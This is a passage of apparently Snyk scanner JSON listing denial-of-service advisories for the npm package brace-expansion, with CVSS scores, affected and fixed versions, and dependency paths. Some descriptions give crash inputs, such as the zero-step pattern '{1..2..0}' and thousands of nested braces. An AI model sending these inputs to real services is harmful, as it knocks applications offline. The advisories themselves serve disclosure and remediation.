"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
